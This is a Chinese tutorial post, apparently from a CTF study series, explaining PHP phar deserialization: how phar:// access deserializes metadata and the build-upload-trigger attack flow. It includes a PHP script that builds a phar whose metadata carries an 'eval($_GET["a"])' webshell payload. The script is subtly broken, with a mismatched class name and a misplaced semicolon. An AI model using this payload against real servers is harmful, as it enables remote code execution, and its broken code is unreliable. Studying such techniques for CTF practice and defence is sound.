当前位置: 首页 > article >正文

PHP反序列化8(phar反序列化)

考点8:phar反序列化

<aside> 💡

使用条件

</aside>

文件上传时,不必要.phar后缀,文件上传不是难点!!!(phar伪协议自动解析成.phar文件)

phar文件本质上是一种压缩文件,在使用phar协议文件包含时,也是可以直接读取zip文件的。

使用phar://协议读取文件时,文件会被解析成phar对象,phar对象内的以序列化形式存储的用户自定义元数据(metadata)信息会被反序列化。

这就引出了我们攻击手法最核心的流程。

流程:构造phar(元数据中含有恶意序列化内容)文件—>上传—>触发反序列化

最后一步是寻找触发phar文件元数据反序列化。

其实php中有一大部分的文件系统函数在通过phar://伪协议解析phar文件时

都会将meta-data字段进行反序列化。

<?php
class Testobj {
    public $output="";
}
      
@unlink("test.phar");                    // 删除名为 test.phar 的文件(如果存在)
$phar = new Phar("test.phar");           // 创建一个名为 test.phar 的 Phar 对象
$phar->startBuffering();                 //开始写文件

// 设置 Phar 对象的存根(stub)
$phar->setStub('<?php  __HALT_COMPILER();?>');//写入stub
$o = new Testobi();                      // 创建 Testobi 类的对象
$o->output = 'eval($_GET["a"];)'; 
$phar->setMetaData($o);                  //写入meta-data
$phar->addFromString("test.txt", "test");// 向 Phar 对象中添加一个名为 test.txt 的文件,内容为 "test"
$phar->stopBuffering();                  // 停止缓冲并将修改应用到 Phar 对象
?>

注意:两个页面,接收端(文件上传),输出端。


http://www.kler.cn/news/330597.html

相关文章:

  • Webstorm 中对 Node.js 后端项目进行断点调试
  • Leecode热题100-84.柱状图中的最大矩形
  • Go基础编程 - 15 - 延迟调用(defer)
  • Flume面试整理-Flume是什么?
  • 滚雪球学Oracle[5.1讲]:Oracle数据库管理与维护
  • 基于单片机的花色可调跑马灯设计
  • Library介绍(三)
  • 从0到1深入浅出构建Nest.Js项目
  • 如何伪装服务器地址?
  • 基于SSH的酒店管理系统的设计与实现 (含源码+sql+视频导入教程+文档+PPT)
  • 三大马车;预征税赋;贷款供楼
  • python中的find函数怎么用
  • 51单片机的串口
  • 算法打卡:第十一章 图论part10
  • MySQL的优化手段
  • YOLO11项目实战1:道路缺陷检测系统设计【Python源码+数据集+运行演示】
  • Spark 中所有用到了Job对象的组件模块和关系
  • windows10或11家庭版实现远程桌面连接控制
  • 【GO语言】卡尔曼滤波例程
  • MySQL 实验 2:数据库的创建与管理